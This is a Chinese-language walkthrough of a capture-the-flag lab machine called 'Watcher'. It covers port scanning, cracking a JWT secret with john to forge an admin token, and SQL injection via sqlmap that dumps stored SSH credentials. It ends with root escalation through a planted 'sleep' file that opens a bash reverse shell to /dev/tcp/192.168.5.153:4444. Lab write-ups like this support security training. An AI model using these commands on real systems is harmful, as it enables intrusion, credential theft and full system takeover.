信息收集
┌──(root㉿kali)-[~]└─# IP=192.168.5.143 扫描端口
┌──(root㉿kali)-[~]└─# rustscan -a $IP --ulimit 5000 -- -sV -sC .----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| || .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'The Modern Day Port Scanner.________________________________________: http://discord.skerritt.blog :: https://github.com/RustScan/RustScan : --------------------------------------😵 https://admin.tryhackme.com [~] The config file is expected to be at "/root/.rustscan.toml"[~] Automatically increasing ulimit value to 5000.Open 192.168.5.143:22Open 192.168.5.143:5000[~] Starting Script(s)[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sV -sC" on ip 192.168.5.143Depending on the complexity of the script, results may take some time to appear.[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-01 08:35 EDTNSE: Loaded 157 scripts for scanning.NSE: Script Pre-scanning.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedInitiating ARP Ping Scan at 08:35Scanning 192.168.5.143 [1 port]Completed ARP Ping Scan at 08:35, 0.05s elapsed (1 total hosts)Initiating Parallel DNS resolution of 1 host. at 08:35Completed Parallel DNS resolution of 1 host. at 08:35, 0.00s elapsedDNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]Initiating SYN Stealth Scan at 08:35Scanning Watcher.lan (192.168.5.143) [2 ports]Discovered open port 22/tcp on 192.168.5.143Discovered open port 5000/tcp on 192.168.5.143Completed SYN Stealth Scan at 08:35, 0.04s elapsed (2 total ports)Initiating Service scan at 08:35Scanning 2 services on Watcher.lan (192.168.5.143)Completed Service scan at 08:35, 6.09s elapsed (2 services on 1 host)NSE: Script scanning 192.168.5.143.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.58s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.01s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedNmap scan report for Watcher.lan (192.168.5.143)Host is up, received arp-response (0.00098s latency).Scanned at 2026-06-01 08:35:41 EDT for 6s PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)5000/tcp open http syn-ack ttl 64 Gunicorn| http-title: Maze_Sec - Login|_Requested resource was /login|_http-server-header: gunicorn| http-methods: |_ Supported Methods: GET OPTIONS HEADMAC Address: 08:00:27:1E:D2:D8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedRead data files from: /usr/share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 7.20 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)user shell
登录后获得 Cookie 中的 JWT Token,解码Payload:
{ "username": "testuser456", "level": "normal", "iat": 1780317717, "exp": 1780321317}用 john 爆破 JWT 密钥:
(base) ┌──(kali㉿kali)-[~/Desktop]└─$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyNDU2IiwibGV2ZWwiOiJub3JtYWwiLCJpYXQiOjE3ODAzMTc3MTcsImV4cCI6MTc4MDMyMTMxN30.jqL4m8kVi-cAmqZZvlRhvzXmoARbkKqwad4avdnBINs" > jwt.txt (base) ┌──(kali㉿kali)-[~/Desktop]└─$ john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256Using default input encoding: UTF-8Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])Will run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusmaze (?) 1g 0:00:00:01 DONE (2026-06-01 09:15) 0.8771g/s 4997Kp/s 4997Kc/s 4997KC/s mazney..mayor1962Use the "--show" option to display all of the cracked passwords reliablySession completed.得到密钥 maze
到 JSON Web Tokens - jwt.io 伪造 Token 即可访问 /admin 管理面板
管理员面板通过 /api/settings/update 接口发送 JSON 来更新设置:
fetch('/api/settings/update', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ key: key, value: value })})正常请求响应:
{"code":200,"current_value":"dark","msg":"设置已更新"}这个API接受任意 key 和 value,没有任何过滤。尝试在 value 中注入特殊字符来探测是否存在SQL注入:
┌──(root㉿kali)-[~]└─# curl -X POST http://192.168.5.143:5000/api/settings/update \ -H "Content-Type: application/json" \ -H "Cookie: token=<admin_jwt>" \ -d '{"key":"log_level","value":"\n__import__('\''os'\'')\n"}'{"code":500,"msg":"\u6570\u636e\u5e93\u9519\u8bef: near \"os\": syntax error"}这个错误暴露的信息:
- 后端使用 SQLite 数据库:
near "os": syntax error是SQLite特有的报错格式 - value 参数存在SQL注入:单引号
'破坏了SQL语句的字符串边界,导致SQL语法错误 - 是一个带报错回显的注入点
使用 sqlmap 确认注入点
┌──(root㉿kali)-[~]└─# sqlmap -u "http://192.168.5.143:5000/api/settings/update" \ --data='{"key":"log_level","value":"*"}' \ --cookie="token=<admin_jwt>" \ --dbms=sqlite \ --level=2 --risk=2 \ --technique=B \ --batch ...[09:25:57] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 89 HTTP(s) requests:---Parameter: JSON #1* ((custom) POST) Type: boolean-based blind Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) Payload: {"key":"log_level","value":"' AND CASE WHEN 8390=8390 THEN 8390 ELSE JSON(CHAR(106,114,66,79)) END AND 'wjeu'='wjeu"}---[09:25:57] [INFO] the back-end DBMS is SQLiteback-end DBMS: SQLite[09:25:57] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 28 times[09:25:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.5.143'[09:25:57] [WARNING] your sqlmap version is outdated [*] ending @ 09:25:57 /2026-06-01/可以布尔盲注,先枚举数据库表:
┌──(root㉿kali)-[~]└─# sqlmap -u "http://192.168.5.143:5000/api/settings/update" \ --data='{"key":"log_level","value":"*"}' \ --cookie="token=<admin_jwt>" \ --dbms=sqlite \ --technique=B \ --batch \ --tables ...<current>[4 tables]+-----------------+| secret || settings || sqlite_sequence || users |+-----------------+ [09:32:57] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 127 times[09:32:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.5.143'[09:32:57] [WARNING] your sqlmap version is outdated [*] ending @ 09:32:57 /2026-06-01/结果共4个表,全部导出来:
┌──(root㉿kali)-[~]└─# sqlmap -u "http://192.168.5.143:5000/api/settings/update" \ --data='{"key":"log_level","value":"*"}' \ --cookie="token=<admin_jwt>" \ --dbms=sqlite \ --technique=B \ --batch \ --threads=5 \ --dump-all ...[09:38:54] [INFO] retrieved: watcher:mazesec123q1231w!@#!@@#_ 31/32 (96%)[09:39:24] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)[09:39:24] [INFO] retrieved: watcher:mazesec123q1231w!@#!@@#$ Database: <current>Table: secret[1 entry]+----+----------------------------------+| id | secret |+----+----------------------------------+| 1 | watcher:mazesec123q1231w!@#!@@#$ |+----+----------------------------------+ [09:39:24] [INFO] table 'SQLite_masterdb.secret' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.5.143/dump/SQLite_masterdb/secret.csv'...拿到用户名和密码 watcher:mazesec123q1231w!@#!@@#$,直接 ssh 登录
┌──(root㉿kali)-[~]└─# ssh watcher@$IP The authenticity of host '192.168.5.143 (192.168.5.143)' can't be established.ED25519 key fingerprint is SHA256:MjoUe5ON03T2UcSPmlU3evmpGUywqf/3IUm0+1p77cI.This host key is known by the following other names/addresses: ~/.ssh/known_hosts:5: [hashed name]Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '192.168.5.143' (ED25519) to the list of known hosts.watcher@192.168.5.143's password: Linux Watcher 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64 The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Mon Jun 1 09:41:52 2026 from 192.168.5.153watcher@Watcher:~$ iduid=1000(watcher) gid=1000(watcher) groups=1000(watcher),100(users)watcher@Watcher:~$ ls -latotal 36drwx------ 3 watcher watcher 4096 Jun 1 09:22 .drwxr-xr-x 3 root root 4096 May 22 12:04 ..-rw------- 1 watcher watcher 872 Jun 1 09:40 .bash_history-rw-r--r-- 1 watcher watcher 220 May 22 12:04 .bash_logout-rw-r--r-- 1 watcher watcher 3526 May 22 12:04 .bashrc-rw------- 1 watcher watcher 20 Jun 1 09:22 .lesshst-rw-r--r-- 1 watcher watcher 807 May 22 12:04 .profiledrwx-wx-wx 2 watcher watcher 4096 Jun 1 09:41 uploads-rw------- 1 watcher watcher 44 May 22 12:56 user.txtwatcher@Watcher:~$ cat user.txtflag{user-c3949567202847f1ad8664095f0a94e4}root shell
查看运行中的服务
watcher@Watcher:~$ systemctl list-units --type=service --state=running UNIT LOAD ACTIVE SUB DESCRIPTION autoarchive.service loaded active running AutoArchive root watcher cron.service loaded active running Regular background program processing daemon dbus.service loaded active running D-Bus System Message Bus getty@tty1.service loaded active running Getty on tty1 ssh.service loaded active running OpenBSD Secure Shell server systemd-journald.service loaded active running Journal Service systemd-logind.service loaded active running User Login Management systemd-timesyncd.service loaded active running Network Time Synchronization systemd-udevd.service loaded active running Rule-based Manager for Device Events and Files user@1000.service loaded active running User Manager for UID 1000 watcher.service loaded active running Watcher CTF Web Service Legend: LOAD → Reflects whether the unit definition was properly loaded. ACTIVE → The high-level unit activation state, i.e. generalization of SUB. SUB → The low-level unit activation state, values depend on unit type. 11 loaded units listed.发现两个自定义服务 autoarchive.service 和 watcher.service
然后分析 autoarchive.service
watcher@Watcher:~$ systemctl cat autoarchive.service# /etc/systemd/system/autoarchive.service[Unit]Description=AutoArchive root watcherAfter=network.target [Service]Type=simpleExecStart=/usr/bin/env AUTOARCHIVE_HELPER=/opt/autoarchive/archive-helper /opt/autoarchive/sync.shRestart=alwaysRestartSec=2User=rootWorkingDirectory=/opt/autoarchive [Install]WantedBy=multi-user.target发现 autoarchive.service 以 root 身份运行,执行 /opt/autoarchive/sync.sh
且 /opt/autoarchive/ 无法直接访问:
watcher@Watcher:~$ ls -la /opt/autoarchive/ls: cannot open directory '/opt/autoarchive/': Permission deniedwatcher@Watcher:~$ cat /opt/autoarchive/sync.shcat: /opt/autoarchive/sync.sh: Permission denied然后分析 autoarchive 进程的行为,先找到 autoarchive 的所有进程 PID
watcher@Watcher:~$ cat /sys/fs/cgroup/system.slice/autoarchive.service/cgroup.procs368394395然后挨个看它们在执行什么:
watcher@Watcher:~$ cat /proc/368/cmdline | tr '\0' ' '/bin/bash /opt/autoarchive/sync.shwatcher@Watcher:~$ cat /proc/394/cmdline | tr '\0' ' 'inotifywait -m -e create /home/watcher/uploadswatcher@Watcher:~$ cat /proc/395/cmdline | tr '\0' ' '/bin/bash /opt/autoarchive/sync.sh关键在 PID 394:inotifywait 是 Linux 的文件监控工具,-m 是持续监控,-e create 是监听文件创建事件,目标是 /home/watcher/uploads/,这意味着每当 uploads 目录新增一个文件,sync.sh 就会收到通知并做某些处理
又注意到 uploads 目录 wacher 用户可以写入,既然能写文件进去,sync.sh 收到通知后又会处理它,那 sync.sh 怎么处理就成了关键
接下来观察每次创建文件会发生什么,记录创建文件前的 cgroup.procs,创建文件后立刻再看一次,对比多了什么 PID
# 获取当前PIDsOLD_PID=$(cat /sys/fs/cgroup/system.slice/autoarchive.service/cgroup.procs | sort)# 创建一个文件touch ./uploads/a.txt# 获取新PIDNEW_PID=$(comm -13 <(echo "$OLD_PID") <(cat /sys/fs/cgroup/system.slice/autoarchive.service/cgroup.procs | sort))echo "New PID: $NEW_PID"# 查看新进程cat /proc/$NEW_PID/cmdline | tr '\0' ' '# 确认新进程的父子关系cat /proc/$NEW_PID/status | grep PPid输出:
New PID: 7248sleep 3PPid: 395发现新进程是 7248,内容是 sleep 3,父进程是 395
也就是说每次在 uploads 创建文件,PID 395 的子bash 就会执行一次 sleep 3,这个 sleep 3 属于 autoarchive cgroup,以 root 身份运行
观察到 /proc/7248/cmdline 的输出是 sleep 3 而非 /usr/bin/sleep 3,也就是说 sync.sh 使用相对路径执行 sleep 命令,并且会 cd 到 uploads 目录,因此只要在 uploads 目录放置一个名为 sleep 的文件就会被以 root 身份执行
接下来创建一个恶意的 sleep 文件反弹 shell
python3 -c "with open('/home/watcher/uploads/sleep', 'w') as f: f.write('#!/bin/bash\nbash -i >& /dev/tcp/192.168.5.153/4444 0>&1\n')"chmod +x ./uploads/sleeptouch ./uploads/trigger.txt┌──(kali㉿kali)-[~/Desktop]└─$ nc -lvnp 4444listening on [any] 4444 ...connect to [192.168.5.153] from (UNKNOWN) [192.168.5.143] 45564bash: cannot set terminal process group (368): Inappropriate ioctl for devicebash: no job control in this shellroot@Watcher:/home/watcher/uploads# iduid=0(root) gid=0(root) groups=0(root)root@Watcher:/home/watcher/uploads# cd root@Watcher:~# cat root.txtflag{root-6661e4dc99e9408984d16d30b0c0730c}